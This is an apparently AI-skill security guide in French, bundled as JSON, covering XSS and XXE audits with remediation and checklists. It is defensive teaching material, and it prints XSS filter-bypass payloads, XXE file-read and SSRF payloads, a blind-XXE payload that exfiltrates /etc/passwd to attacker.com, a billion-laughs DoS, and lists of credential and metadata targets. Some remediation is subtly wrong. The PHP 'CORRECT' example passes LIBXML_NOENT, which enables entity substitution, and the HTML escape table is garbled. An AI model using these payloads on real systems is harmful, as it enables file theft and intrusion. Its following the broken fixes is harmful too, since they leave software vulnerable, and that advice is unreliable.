Bypass\n```\n\u003cscr\u003cscript>ipt>alert('XSS')\u003c/script>\n\u003cscript>alert(String.fromCharCode(88,83,83))\u003c/script>\n\u003csCrIpT>alert('XSS')\u003c/sCrIpT>\n```\n\n## Localisation dans le Code\n\n### À Chercher Backend\n\n#### Templates/Views\n- Variables non échappées\n- Filtres \"safe\" ou \"raw\"\n- Concaténation HTML manuelle\n\n#### API Responses\n- HTML dans JSON\n- Pas de Content-Type correct\n- Reflection d'inputs\n\n#### Error Messages\n- Stack traces avec input utilisateur\n- Messages d'erreur non sanitizés\n\n### À Chercher Frontend\n\n#### DOM Manipulation\n- innerHTML, outerHTML\n- document.write\n- eval, setTimeout avec strings\n\n#### Attributes Dynamiques\n- href, src dynamiques\n- Event handlers dynamiques\n- style attributes\n\n#### Third-party Libraries\n- jQuery.html()\n- Vue v-html\n- React dangerouslySetInnerHTML\n- Angular [innerHTML]\n\n### Patterns à Grep\n\n```\nBackend :\n- \"innerHTML.*=\"\n- \"\\.html\\(.*\\)\"\n- \"dangerouslySetInnerHTML\"\n- \"\u003c%=.*%>\"\n- \"\\{\\{.*\\|.*safe.*\\}\\}\"\n- \"res\\.send.*\\+.*req\\.\"\n\nFrontend :\n- \"innerHTML.*req\\.\"\n- \"innerHTML.*params\"\n- \"document\\.write\"\n- \"eval\\(\"\n- \"setTimeout\\(.*\\+\"\n- \"href.*=.*user\"\n```\n\n## Impact\n\n### Vol de Sessions\n- Extraction de cookies (document.cookie)\n- Envoi à un serveur attacker\n- Session hijacking\n\n### Phishing\n- Injection de formulaires de login\n- Redirection vers sites malveillants\n- Spoofing de l'interface\n\n### Defacement\n- Modification du contenu de la page\n- Affichage de contenu malveillant\n\n### Keylogging\n- Capture des frappes clavier\n- Vol de credentials\n\n### Malware Distribution\n- Téléchargement de malware\n- Drive-by download\n- Exploitation de vulnérabilités navigateur\n\n### Propagation\n- XSS worm (self-propagating)\n- Infection d'autres utilisateurs\n\n## Remédiation\n\n### 1. Output Encoding (Essentiel)\n\n**Context-Aware Encoding**\n\n**HTML Context**\n```\n✅ CORRECT :\nÉchapper : \u003c > \" ' &\n\u003c → <\n> → >\n\" → "\n' → '\n& → &\n```\n\n**JavaScript Context**\n```\n✅ CORRECT :\nÉchapper : \\ \" ' \u003c > /\nUtiliser JSON.stringify() pour objets\n```\n\n**URL Context**\n```\n✅ CORRECT :\nencodeURIComponent(userInput)\n```\n\n**CSS Context**\n```\n✅ CORRECT :\nÉchapper caractères spéciaux CSS\nÉviter user input dans CSS si possible\n```\n\n### 2. Template Engines avec Auto-Escaping\n\n**Activation par Défaut**\n```\n✅ CORRECT :\n- Handlebars : {{ variable }} (échappé automatiquement)\n- Jinja2 : {{ variable }} (échappé par défaut)\n- React : {variable} (échappé automatiquement)\n- Vue : {{ variable }} (échappé par défaut)\n```\n\n**Éviter**\n```\n❌ BAD :\n- {{{ variable }}} (Handlebars non échappé)\n- {{ variable | safe }} (Jinja2 désactive l'échappement)\n- dangerouslySetInnerHTML (React)\n- v-html (Vue)\n```\n\n### 3. Content Security Policy (CSP)\n\n**Headers HTTP**\n```\n✅ CORRECT :\nContent-Security-Policy:\n default-src 'self';\n script-src 'self' 'nonce-{random}';\n object-src 'none';\n base-uri 'self';\n```\n\n**Nonce pour Scripts Inline**\n```\n\u003cscript nonce=\"random-value\">\n // code\n\u003c/script>\n```\n\n**Avantages**\n- Bloque inline scripts par défaut\n- Whitelist des sources autorisées\n- Protection en profondeur\n\n### 4. Input Validation\n\n**Validation Stricte**\n- Whitelist de caractères autorisés\n- Format attendu (regex)\n- Longueur maximale\n\n**Attention**\n- Validation seule insuffisante\n- Toujours encoder en sortie\n- Defense in depth\n\n### 5. HTTPOnly Cookies\n\n**Protection des Cookies**\n```\n✅ CORRECT :\nSet-Cookie: sessionid=...; HttpOnly; Secure; SameSite=Strict\n```\n\n**Avantage**\n- JavaScript ne peut pas lire le cookie\n- Limite l'impact d'un XSS\n\n### 6. Sanitization Libraries\n\n**Pour HTML Riche**\n```\n✅ CORRECT :\n- DOMPurify (JavaScript)\n- Bleach (Python)\n- HtmlSanitizer (C#)\n\nConfiguration stricte :\n- Whitelist de tags autorisés\n- Whitelist d'attributs\n- Suppression des event handlers\n```\n\n### 7. Avoid Dangerous Functions\n\n**Ne Pas Utiliser**\n- innerHTML (utiliser textContent)\n- outerHTML\n- document.write\n- eval()\n- setTimeout/setInterval avec strings\n- Function()\n\n**Alternatives Sûres**\n```\n✅ CORRECT :\n// Au lieu de innerHTML\nelement.textContent = userInput\n\n// Au lieu de document.write\nelement.appendChild(document.createTextNode(text))\n```\n\n## Checklist d'Audit\n\n### Recherche de Vulnérabilités\n- [ ] User input affiché sans échappement ?\n- [ ] innerHTML, outerHTML utilisés ?\n- [ ] Template filters \"safe\" ou \"raw\" ?\n- [ ] Concaténation HTML manuelle ?\n- [ ] document.write avec user input ?\n- [ ] eval, setTimeout avec user input ?\n- [ ] href, src dynamiques non validés ?\n\n### Validation des Correctifs\n- [ ] Output encoding en place (context-aware) ?\n- [ ] Auto-escaping activé dans templates ?\n- [ ] CSP headers configurés ?\n- [ ] HTTPOnly sur cookies de session ?\n- [ ] Sanitization library si HTML riche nécessaire ?\n- [ ] textContent plutôt que innerHTML ?\n\n### Tests de Vulnérabilité\n- [ ] Tester \u003cscript>alert('XSS')\u003c/script> ?\n- [ ] Tester \u003cimg src=x onerror=alert('XSS')> ?\n- [ ] Tester javascript:alert('XSS') ?\n- [ ] Tester event handlers (onload, onerror) ?\n- [ ] Tester dans différents contextes (HTML, JS, URL) ?\n\n## Contextes d'Encoding\n\n### HTML Body\n```\n\u003c > & \" ' → Entités HTML\n```\n\n### HTML Attribute\n```\n\u003c > & \" ' → Entités HTML\nQuotes obligatoires autour de l'attribut\n```\n\n### JavaScript\n```\n\\ \" ' / \u003c > → Échappement backslash\nOu JSON.stringify()\n```\n\n### URL\n```\nencodeURIComponent()\n```\n\n### CSS\n```\nÉchapper caractères spéciaux CSS\nÉviter si possible\n```\n\n## Exemples Sécurisés\n\n### Template Sécurisé\n```\n✅ CORRECT (Handlebars) :\n\u003cdiv>{{ username }}\u003c/div> \u003c!-- Échappé automatiquement -->\n\n✅ CORRECT (React) :\n\u003cdiv>{username}\u003c/div> {/* Échappé automatiquement */}\n```\n\n### DOM Manipulation Sécurisée\n```\n❌ BAD :\nelement.innerHTML = userInput\n\n✅ GOOD :\nelement.textContent = userInput\n// Ou\nconst text = document.createTextNode(userInput)\nelement.appendChild(text)\n```\n\n### API Response Sécurisée\n```\n✅ CORRECT :\nres.json({ message: userInput }) // JSON safe\n// Pas de HTML dans JSON\n```\n\n## Références\n\n- **OWASP** : Cross-Site Scripting (XSS)\n- **CWE-79** : Improper Neutralization of Input During Web Page Generation\n- **OWASP XSS Prevention Cheat Sheet**\n- **Content Security Policy (CSP)**\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":8731,"content_sha256":"845e936b067531ea68a987f3100fb618abcd9f80bd80b8c6cf39cf2ca2271546"},{"filename":"vulnerabilities/xxe.md","content":"# XML External Entity (XXE)\n\n## Définition\n\nExploitation de parsers XML vulnérables permettant l'inclusion d'entités externes, conduisant à la lecture de fichiers, SSRF, ou déni de service.\n\n## Sévérité\n\n🔴 **CRITIQUE** - Lecture de fichiers sensibles, SSRF, RCE possible\n\n## Principe de l'Attaque\n\n```\nXML avec entité externe :\n\u003c!DOCTYPE foo [\n \u003c!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n\u003cdata>&xxe;\u003c/data>\n\nParser vulnérable résout l'entité et inclut le contenu du fichier\n```\n\n## Types d'Attaques XXE\n\n### 1. Classic XXE (In-band)\nDonnées extraites directement dans la réponse\n\n### 2. Blind XXE (Out-of-band)\nExtraction via requête vers serveur attacker\n\n### 3. XXE pour SSRF\nRequêtes vers services internes\n\n### 4. XXE Billion Laughs (DoS)\nExpansion exponentielle d'entités\n\n## Vecteurs d'Attaque\n\n### File Disclosure\n```\n\u003c!DOCTYPE foo [\n \u003c!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n]>\n\u003croot>&xxe;\u003c/root>\n```\n\n### SSRF via XXE\n```\n\u003c!DOCTYPE foo [\n \u003c!ENTITY xxe SYSTEM \"http://internal-service/admin\">\n]>\n\u003croot>&xxe;\u003c/root>\n```\n\n### Blind XXE (Out-of-band)\n```\n\u003c!DOCTYPE foo [\n \u003c!ENTITY % file SYSTEM \"file:///etc/passwd\">\n \u003c!ENTITY % dtd SYSTEM \"http://attacker.com/evil.dtd\">\n %dtd;\n]>\n\u003croot>&send;\u003c/root>\n\nevil.dtd:\n\u003c!ENTITY % all \"\u003c!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>\">\n%all;\n```\n\n### XXE Denial of Service\n```\n\u003c!DOCTYPE lolz [\n \u003c!ENTITY lol \"lol\">\n \u003c!ENTITY lol2 \"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;\">\n \u003c!ENTITY lol3 \"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;\">\n ...\n]>\n\u003clolz>&lol9;\u003c/lolz>\n```\n\n## Localisation dans le Code\n\n### À Chercher\n\n#### XML Parsing\n- APIs REST acceptant XML\n- SOAP web services\n- Configuration files parsing\n- Document upload (SVG, DOCX, XLSX)\n- RSS/Atom feeds\n\n#### File Formats\n- SVG (images)\n- Office documents (DOCX, XLSX, PPTX)\n- PDF avec XML\n- SAML authentication\n\n### Patterns à Grep\n\n```\nXML parsers :\n- \"DocumentBuilder\"\n- \"SAXParser\"\n- \"XMLReader\"\n- \"DOMParser\"\n- \"SimpleXML\"\n- \"lxml\"\n- \"xml.etree\"\n- \"XmlDocument\"\n- \"XDocument\"\n```\n\n### Frameworks/Libraries\n```\nJava :\n- javax.xml.parsers.DocumentBuilder\n- SAXParserFactory\n- XMLInputFactory\n\nPython :\n- xml.etree.ElementTree\n- lxml\n- xml.dom.minidom\n\nPHP :\n- simplexml_load_string\n- DOMDocument\n\n.NET :\n- XmlDocument\n- XmlTextReader\n```\n\n## Impact\n\n### File Disclosure\n- /etc/passwd\n- /etc/shadow\n- Configuration files\n- Source code\n- Private keys\n\n### SSRF\n- Port scanning interne\n- Accès services internes\n- Cloud metadata (AWS, Azure, GCP)\n\n### Denial of Service\n- Billion Laughs attack\n- Out of memory\n- CPU exhaustion\n\n### Remote Code Execution\n- Via PHP expect://\n- Via file upload + include\n\n## Remédiation\n\n### 1. Désactiver External Entities (Recommandé)\n\n**Java**\n```\n✅ CORRECT :\nDocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance()\n// Désactiver external entities\ndbf.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true)\ndbf.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)\ndbf.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)\ndbf.setFeature(\"http://apache.org/xml/features/nonvalidating/load-external-dtd\", false)\ndbf.setXIncludeAware(false)\ndbf.setExpandEntityReferences(false)\n```\n\n**Python**\n```\n✅ CORRECT :\n# Utiliser defusedxml\nfrom defusedxml.ElementTree import parse\n\n# Ou configurer lxml\nparser = etree.XMLParser(resolve_entities=False, no_network=True)\ntree = etree.parse(source, parser)\n```\n\n**PHP**\n```\n✅ CORRECT :\nlibxml_disable_entity_loader(true)\n$dom = new DOMDocument()\n$dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD)\n```\n\n**.NET**\n```\n✅ CORRECT :\nXmlReaderSettings settings = new XmlReaderSettings()\nsettings.DtdProcessing = DtdProcessing.Prohibit\nsettings.XmlResolver = null\nXmlReader reader = XmlReader.Create(stream, settings)\n```\n\n### 2. Utiliser Parsers Sécurisés\n\n**Python**\n```\n✅ CORRECT :\n# defusedxml : wrapper sécurisé\nfrom defusedxml import ElementTree as ET\ntree = ET.parse('file.xml')\n```\n\n**Java**\n```\n✅ CORRECT :\n// Utiliser des parsers récents avec config sécurisée par défaut\n```\n\n### 3. Validation et Sanitization\n\n**Schema Validation**\n- Valider contre XSD\n- Rejeter documents non conformes\n- Whitelist des structures autorisées\n\n**Input Validation**\n- Longueur maximale\n- Caractères autorisés\n- Rejeter DOCTYPE declarations\n\n### 4. Éviter XML si Possible\n\n**Alternatives**\n- JSON (pas de XXE)\n- YAML (avec parser sécurisé)\n- Protocol Buffers\n- MessagePack\n\n### 5. Least Privilege\n\n**Permissions Filesystem**\n- Application avec utilisateur non-privilégié\n- Pas d'accès fichiers sensibles\n- Chroot/container\n\n### 6. WAF Rules\n\n**Detection Patterns**\n- \u003c!DOCTYPE\n- \u003c!ENTITY\n- SYSTEM\n- file://\n- http:// dans XML\n\n## Checklist d'Audit\n\n### Recherche de Vulnérabilités\n- [ ] Application accepte XML input ?\n- [ ] Parser XML sans config sécurisée ?\n- [ ] External entities activées ?\n- [ ] Upload de fichiers avec XML (SVG, Office) ?\n- [ ] SOAP endpoints ?\n- [ ] Configuration parsing ?\n\n### Validation des Correctifs\n- [ ] External entities désactivées ?\n- [ ] DTD processing désactivé ?\n- [ ] Parser sécurisé utilisé (defusedxml) ?\n- [ ] Schema validation en place ?\n- [ ] Least privilege filesystem ?\n\n### Tests de Vulnérabilité\n- [ ] Tester avec file:///etc/passwd ?\n- [ ] Tester blind XXE vers serveur contrôlé ?\n- [ ] Tester SSRF vers localhost ?\n- [ ] Tester billion laughs ?\n- [ ] Tester dans SVG/Office uploads ?\n\n## Fichiers Cibles\n\n### Linux\n```\n/etc/passwd\n/etc/shadow\n/etc/hosts\n/proc/self/environ\n/root/.ssh/id_rsa\n~/.aws/credentials\n```\n\n### Windows\n```\nC:\\Windows\\System32\\drivers\\etc\\hosts\nC:\\Windows\\win.ini\nC:\\boot.ini\nC:\\Users\\Administrator\\.ssh\\id_rsa\n```\n\n### Cloud Metadata\n```\nhttp://169.254.169.254/latest/meta-data/\nhttp://metadata.google.internal/\n```\n\n### Application Files\n```\n/var/www/html/config.php\n/app/config/database.yml\n/etc/nginx/nginx.conf\n```\n\n## Configuration Sécurisée par Langage\n\n### Java\n```\n✅ Toutes features désactivées :\ndbf.setFeature(\"http://apache.org/xml/features/disallow-doctype-decl\", true)\ndbf.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)\ndbf.setFeature(\"http://xml.org/sax/features/external-parameter-entities\", false)\ndbf.setXIncludeAware(false)\ndbf.setExpandEntityReferences(false)\n```\n\n### Python\n```\n✅ defusedxml partout :\nfrom defusedxml.ElementTree import parse\nfrom defusedxml import xmlrpc\n```\n\n### PHP\n```\n✅ Entities disabled :\nlibxml_disable_entity_loader(true)\nlibxml_use_internal_errors(true)\n```\n\n### .NET\n```\n✅ DTD prohibited :\nsettings.DtdProcessing = DtdProcessing.Prohibit\nsettings.XmlResolver = null\n```\n\n## Références\n\n- **OWASP** : XML External Entity (XXE)\n- **CWE-611** : Improper Restriction of XML External Entity Reference\n- **OWASP XXE Prevention Cheat Sheet**\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":6839,"content_sha256":"13aa2ea331fcff4195b1791b28b6be19c636d31b311d3751ba584203c133e499"}],"content_json":{"type":"doc","content":[{"type":"heading","attrs":{"level":1},"content":[{"text":"Security Guardian","type":"text"}]},{"type":"paragraph","content":[{"text":"Tu es un expert en sécurité applicative qui accompagne le développement sécurisé :","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Audit","type":"text","marks":[{"type":"strong"}]},{"text":" : Détection de vulnérabilités dans le code","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Conception","type":"text","marks":[{"type":"strong"}]},{"text":" : Design de features sécurisées","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Review","type":"text","marks":[{"type":"strong"}]},{"text":" : Analyse de code sensible (auth, paiement, données)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Guidance","type":"text","marks":[{"type":"strong"}]},{"text":" : Bonnes pratiques de sécurité","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Remediation","type":"text","marks":[{"type":"strong"}]},{"text":" : Correction de failles identifiées","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Expertise","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"OWASP Top 10 et vulnérabilités courantes","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Authentification et autorisation sécurisées","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Cryptographie et gestion de secrets","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Validation et sanitization des entrées","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Sécurité des APIs (REST, GraphQL)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Protection des données (PII, GDPR)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Logging et monitoring sécurisés","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Contextes d'Utilisation","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"1. Audit de Sécurité","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Analyser le code pour détecter des failles","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Identifier les vulnérabilités OWASP Top 10","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Vérifier la gestion des secrets","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Contrôler les dépendances vulnérables","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"2. Conception Sécurisée","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Guider la conception de features sensibles","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Proposer des patterns sécurisés","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Identifier les risques en amont","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Définir les contrôles de sécurité","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"3. Review de Code Sensible","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Analyser l'authentification/autorisation","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Vérifier le chiffrement des données","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Contrôler la validation des entrées","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Auditer les accès aux données","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"4. Correction de Failles","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Diagnostiquer les vulnérabilités","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Proposer des correctifs","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Guider l'implémentation sécurisée","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Méthodologie d'Audit","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"1. Analyse des Vulnérabilités","type":"text"}]},{"type":"paragraph","content":[{"text":"Consulter ","type":"text"},{"text":"vulnerabilities/","type":"text","marks":[{"type":"code_inline"}]},{"text":" pour détecter :","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"SQL Injection, NoSQL Injection","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"XSS, CSRF, XXE","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Command Injection","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Path Traversal, SSRF","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"2. Authentification & Autorisation","type":"text"}]},{"type":"paragraph","content":[{"text":"Consulter ","type":"text"},{"text":"authentication/","type":"text","marks":[{"type":"code_inline"}]},{"text":" et ","type":"text"},{"text":"authorization/","type":"text","marks":[{"type":"code_inline"}]},{"text":" pour vérifier :","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Sécurité des mots de passe","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Gestion des sessions/tokens (JWT)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"OAuth, MFA","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"RBAC, ABAC","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Protection contre brute-force","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"IDOR, privilege escalation","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"3. Cryptographie","type":"text"}]},{"type":"paragraph","content":[{"text":"Consulter ","type":"text"},{"text":"cryptography/","type":"text","marks":[{"type":"code_inline"}]},{"text":" pour valider :","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Algorithmes de chiffrement/hashing","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Gestion des clés","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Configuration TLS","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Génération de random sécurisé","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"4. Gestion des Secrets","type":"text"}]},{"type":"paragraph","content":[{"text":"Consulter ","type":"text"},{"text":"secrets-management/","type":"text","marks":[{"type":"code_inline"}]},{"text":" pour contrôler :","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Détection de secrets hardcodés","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Variables d'environnement","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Intégration vault","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Rotation des clés/tokens","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"5. Validation des Entrées","type":"text"}]},{"type":"paragraph","content":[{"text":"Consulter ","type":"text"},{"text":"input-validation/","type":"text","marks":[{"type":"code_inline"}]},{"text":" pour vérifier :","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Sanitization et échappement","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Whitelist vs Blacklist","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Sécurité upload de fichiers","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Désérialisation sécurisée","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"6. Sécurité API","type":"text"}]},{"type":"paragraph","content":[{"text":"Consulter ","type":"text"},{"text":"api-security/","type":"text","marks":[{"type":"code_inline"}]},{"text":" pour auditer :","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Rate limiting","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Configuration CORS","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Sécurité GraphQL","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Versioning API","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"7. Protection des Données","type":"text"}]},{"type":"paragraph","content":[{"text":"Consulter ","type":"text"},{"text":"data-protection/","type":"text","marks":[{"type":"code_inline"}]},{"text":" pour contrôler :","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Gestion des PII","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Conformité GDPR","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Chiffrement des données","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Suppression sécurisée","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"8. Logging & Monitoring","type":"text"}]},{"type":"paragraph","content":[{"text":"Consulter ","type":"text"},{"text":"logging-monitoring/","type":"text","marks":[{"type":"code_inline"}]},{"text":" pour vérifier :","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Logs sécurisés (sans données sensibles)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Audit trails","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Alertes sécurité","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"9. Checklists","type":"text"}]},{"type":"paragraph","content":[{"text":"Appliquer les checklists de ","type":"text"},{"text":"checklists/","type":"text","marks":[{"type":"code_inline"}]},{"text":" :","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"OWASP Top 10","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Pre-deployment security","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Code review security","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Dependency security","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Niveaux de Sévérité","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"🔴 CRITIQUE","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Exécution de code arbitraire","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Accès non autorisé aux données","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Escalade de privilèges","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Exposition de secrets","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"🟠 HAUTE","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Injection SQL/NoSQL","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"XSS stocké","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Authentification faible","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Fuite de données sensibles","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"🟡 MOYENNE","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"XSS réfléchi","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"CSRF","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Validation insuffisante","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Configuration TLS faible","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"🟢 BASSE","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Information disclosure mineure","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Logs excessifs","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Dépendances outdated (non critiques)","type":"text"}]}]}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"🔵 INFO","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Améliorations recommandées","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Bonnes pratiques non suivies","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Durcissement possible","type":"text"}]}]}]},{"type":"heading","attrs":{"level":2},"content":[{"text":"Format de Sortie","type":"text"}]},{"type":"heading","attrs":{"level":3},"content":[{"text":"Structure du Rapport","type":"text"}]},{"type":"paragraph","content":[{"text":"🔍 Vulnérabilités Détectées","type":"text","marks":[{"type":"strong"}]}]},{"type":"paragraph","content":[{"text":"Pour chaque faille :","type":"text"}]},{"type":"bullet_list","content":[{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Sévérité","type":"text","marks":[{"type":"strong"}]},{"text":" : Critique/Haute/Moyenne/Basse","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Type","type":"text","marks":[{"type":"strong"}]},{"text":" : (ex: SQL Injection, XSS, etc.)","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Localisation","type":"text","marks":[{"type":"strong"}]},{"text":" : fichier:ligne","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Description","type":"text","marks":[{"type":"strong"}]},{"text":" : Explication de la vulnérabilité","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Impact","type":"text","marks":[{"type":"strong"}]},{"text":" : Conséquences possibles","type":"text"}]}]},{"type":"list_item","content":[{"type":"paragraph","content":[{"text":"Exploitation","type":"text","marks":[{"type":"strong"}]},{"text":" : Comment la faille peut être 